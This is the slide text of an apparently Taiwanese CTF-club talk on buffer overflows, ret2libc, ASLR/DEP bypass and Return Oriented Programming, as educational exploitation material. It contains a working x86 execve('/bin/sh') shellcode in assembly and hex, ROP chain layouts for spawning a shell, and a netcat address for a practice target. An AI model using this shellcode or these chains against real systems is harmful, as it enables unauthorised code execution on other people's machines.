ROP Return Oriented Programming Lays @ BambooFox
Who Am I Lays / L4ys / 累死 - l4ys.tw Reverse Engineering BambooFox / HITCON
Outline Buffer Overflow ret2libc / ret2text Return Oriented Programming Payload & More
Buffer Overflow
Buffer Overflow 覆蓋函數返回地址 覆蓋 Function Pointer 覆蓋其他變數
Buffer Overflow 覆蓋函數返回地址 ( Stack Based ) 覆蓋 Function Pointer 覆蓋其他變數
Function Call STACK F1( arg1, arg2 ); ESP > push arg2 push arg1 call F1
Function Call F1( arg1, arg2 ); ESP > STACK arg2 push arg2 push arg1 call F1
Function Call F1( arg1, arg2 ); ESP > STACK arg1 arg2 push arg2 push arg1 call F1
Function Call F1( arg1, arg2 ); push arg2 ESP > STACK ret addr arg1 arg2 push arg1 call F1
Function Call void F1( arg1, arg2 ) { char buffer[8]; } ESP > STACK ret addr arg1 arg2 push ebp mov ebp, esp sub esp, 8
Function Call void F1( arg1, arg2 ) { char buffer[8]; } push ebp ESP > STACK prev ebp ret addr arg1 arg2 mov ebp, esp sub esp, 8
Function Call void F1( arg1, arg2 ) { char buffer[8]; } push ebp EBP > STACK prev ebp ret addr arg1 arg2 mov ebp, esp sub esp, 8
Function Call void F1( arg1, arg2 ) { char buffer[8]; } push ebp mov ebp, esp sub esp, 8 ESP > EBP > STACK buffer prev ebp ret addr arg1 arg2
Function Call void F1( arg1, arg2 ) { char buffer[8]; } push ebp mov ebp, esp sub esp, 8 EBP-8 EBP-4 EBP > EBP+4 EBP+8 EBP+C STACK buffer prev ebp ret addr arg1 arg2
Buffer Overflow void F1( arg1, arg2 ) { char buffer[8]; scanf( %s, buffer ); } EBP-8 EBP-4 EBP > EBP+4 EBP+8 EBP+C STACK buffer prev ebp ret addr arg1 arg2
Buffer Overflow AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Buffer Overflow STACK EBP-8 EBP-4 EBP > EBP+4 EBP+8 EBP+C AAAA AAAA AAAA AAAA AAAA AAAA
Buffer Overflow BEFORE AFTER EBP-8 EBP-4 buffer EBP-8 EBP-4 AAAA AAAA EBP > prev ebp EBP > AAAA EBP+4 ret addr EBP+4 AAAA EBP+8 arg1 EBP+8 AAAA EBP+C arg2 EBP+C AAAA
Buffer Overflow mov esp, ebp pop ebp ret ESP > EBP > AFTER AAAA AAAA AAAA AAAA AAAA AAAA
Buffer Overflow mov esp, ebp pop ebp ESP > AFTER AAAA AAAA ret = POP EIP AAAA
Buffer Overflow mov esp, ebp pop ebp ESP > AFTER AAAA AAAA ret JMP AAAA
Buffer Overflow
Buffer Overflow Shellcode 預先寫好的攻擊代碼 in C / ASM xor %eax,%eax push %eax push $0x68732f2f push $0x6e69622f mov %esp,%ebx push %eax push %ebx mov %esp,%ecx mov $0xb,%al int $0x80 "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69" "\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
Buffer Overflow STACK 0xFFFFD710 AAAA AAAA AAAA 0xFFFFD71C 0xFFFFD720 0xFFFFD720 Shellcode
Buffer Overflow 塞滿 Buffer 覆蓋函數返回地址 跳轉 至 Shellcode 執 行 AAAAAAAAAAAA \x20\xd7\xff\xff Shellcode > >
Exploit Mitigation DEP ( Data Execution Prevention ) - 禁 止執 行位於資料區塊上的代碼 ASLR ( Address Space Layout Randomization ) - 記憶體位置隨機化 Stack Guard 函數返回前檢查 stack 結構完整
checksec.sh Check Security Options checksec.sh --file <executable-file> checksec.sh --proc <proc name> http://www.trapkit.de/tools/checksec.html
DEP Data Execution Prevention
Data Execution Prevention STACK 資料區塊上的代碼無法執 行 [X] Stack [X] Heap 硬體 支援 ( CPU NX bit ) 可以放 shellcode, 但不能 run AAAA AAAA AAAA 0xFFFFD720 Shellcode
世界上最遙遠的距離, 不是 生與死
而是 Shellcode 就在 Stack 上, 你卻無法執 行它 DEP
ret2libc / ret2text Return to existing code
ret2libc DEP [X] Stack [X] Heap [ O ] Binary [ O ] Shared Library
ret2libc Return-to-libc Buffer Overflow 後, 覆蓋返回地址為程式中現有函數地址 不能 return 到 shellcode, 那就 return 到現有的 code 上 利 用 libc.so 中的函數 偽造堆疊結構, 建 立函數呼叫 e.g. system( /bin/sh )
ret2libc STACK AAAA AAAA system() } Buffer Target Function ret address pointer to /bin/sh } Fake Frame system( /bin/sh )
ret2libc STACK system() ret ret address pointer to /bin/sh system( /bin/sh )
ret2libc STACK ret address pointer to /bin/sh system( /bin/sh )
ASLR Address Space Layout Randomization
ASLR 隨機分配記憶體位置 Stack Heap Shared library VDSO 難以預測 目標函數 / shellcode 位置
ret2text Return-to-text return 到程式 自 身 code / PLT 沒開啟 PIE ( Position-independent Executable ) 時,.text 地址固定, 不受 ASLR 影響 泄露有 用資訊, 搭配 ret2libc / ROP
ret2text
ret2libc / ret2text Return-to-libc 需要知道 目標函數地址 受 ASLR 影響, 需配合 Memory Leak / libc.so static link Return-to-text 現有 code 不 一定能滿 足需求
ROP Return-Oriented Programming
ROP Exploitation Return to Shellcode Return to Functions Return to Gadgets
ROP RET 到 自 身程式包含 RET 指令的代碼區塊上
ROP RET 到 自 身程式包含 RET 指令的代碼區塊上
ROP Buffer Overflow AAAA + \xe5\x85\x04\x08 RET = POP EIP 可控的 Stack 內容 透過 RET 再次控制 EIP STACK AAAA AAAA AAAA AAAA
一直 ret 一直 ret ROP 一直 ret 一直 ret 一直 ret 一直 ret 一直 ret 一直 ret 一直 ret 一直 ret 一直 ret 一直 ret 一直 ret 一直 ret 一直 ret 一直 ret 一直 ret
Buffer Overflow to ROP Stack AAAA 0x08040AB0 Overwrite return address
Buffer Overflow to ROP Stack AAAA 0x08040AB0 0x08040CD0 0x08040EF0 Append Addresses
ROP Chain Stack 0x08040AB0 0x08040CD0 0x08040EF0 ret 0x08040AB0 xor eax, eax 0x08040AB1 ret
ROP Chain Stack 0x08040CD0 0x08040EF0 ret 0x08040CD0 inc eax 0x08040CD1 ret
ROP Chain Stack 0x08040EF0 ret 0x08040EF0 mov ecx, eax 0x08040EF2 ret
ROP Chain Stack 0x08040AB0 0x08040CD0 0x08040EF0 0x08040AB0 xor eax, eax ret 0x08040CD0 inc eax ret 0x08040EF0 mov ecx, eax ret
ROP Chain Stack 0x08040AB0 0x08040CD0 0x08040EF0 xor eax, eax inc eax mov ecx, eax MOV ECX, 1
ROP Chain Stack 0x08040AB0 0x08040CD0 0x08040EF0 xor eax, eax inc eax mov ecx, eax MOV ECX, 1
Gadgets Payload
ROP Gadgets 以 ret 結尾的指令序列 pop ebx + pop eax + ret add eax, ebx + xor eax, ecx + ret call eax / jmp eax int 0x80
Operations 讀寫 Register / Memory 資料 : pop eax + pop ecx + ret mov [eax], ecx + ret 調 用 system call: int 0x80 呼叫函數 : ret2libc + pop xxx + ret 算數 / 邏輯運算 : add eax, ecx + ret xor eax, ecx + ret and eax, ecx + ret shr + ret 修改 esp leave + ret 條件跳轉
Operations 讀寫 Register / Memory 資料 : pop eax + pop ecx + ret mov [eax], ecx + ret 調 用 system call: int 0x80 呼叫函數 : ret2libc + pop xxx + ret 算數 / 邏輯運算 : add eax, ecx + ret xor eax, ecx + ret and eax, ecx + ret 修改 esp leave + ret 條件跳轉
Write To Register 寫 入 Register pop reg + ret xchg reg, reg + ret mov reg, reg + ret
Write To Register 寫 入 eax 及 ebx pop eax pop ebx ret
Write To Register 寫 入 eax 及 ebx Stack 0x080400AB 0xAAAAAAAA 0xBBBBBBBB next gadget ret 0x080400AB pop eax 0x080400AC pop ebx 0x080400AD ret
Write To Register 寫 入 eax 及 ebx Stack 0xAAAAAAAA 0xBBBBBBBB next gadget 0x080400AB pop eax 0x080400AC pop ebx 0x080400AD ret
Write To Register 寫 入 eax 及 ebx eax = 0xAAAAAAAA Stack 0xBBBBBBBB next gadget 0x080400AB pop eax 0x080400AC pop ebx 0x080400AD ret
Write To Register 寫 入 eax 及 ebx eax = 0xAAAAAAAA Stack 0xBBBBBBBB next gadget 0x080400AB pop eax 0x080400AC pop ebx 0x080400AD ret
Write To Register 寫 入 eax 及 ebx eax = 0xAAAAAAAA ebx = 0xBBBBBBBB Stack next gadget 0x080400AB pop eax 0x080400AC pop ebx 0x080400AD ret
Write To Memory 寫 入 Memory mov [reg], reg mov [reg+xx], reg
Write To Memory 寫 入 Memory eax = 0xAAAAAAAA ecx = 0xBBBBBBBB mov [ecx], eax ret *0xBBBBBBBB = 0xAAAAAAAA
System Call System Call in ROP sys_execve( /bin/sh, NULL, NULL);
System Call sys_execve( /bin/sh, NULL, NULL) 尋找 int 0x80 指令 寫 入 /bin/sh 到記憶體 mov [reg], reg 設置 register pop reg eax = 11, ebx = & /bin/sh, ecx = 0, edx = 0
DEMO execve in ROP
ROPGadget 以 ROPGadget 尋找 Gadget ropgadget --binary./file ropgadget --binary./file --opcode ropgadget --binary./file --ropchain pip install ropgadget https://github.com/jonathansalwan/ropgadget
ROPGadget https://github.com/jonathansalwan/ropgadget
Conclusion ROP Payload Payload 撰寫難度較 高 / 重複利 用性低 Bypass ASLR / DEP 結合其他攻擊 手段 Load Shellcode ret2libc
More Sigreturn-Oriented Programming ( SROP ) 利 用 sigreturn system call 配合假造的 frame 控制 registers JOP(Jump-oriented programming) COP(Call-oriented programming) 以 call / jmp gadget 控制程式流程
Q & A
Try it Demo service & payload: http://l4ys.tw/f/rop_demo.zip Try to make your own ROP Chain nc pwn.l4ys.tw 4000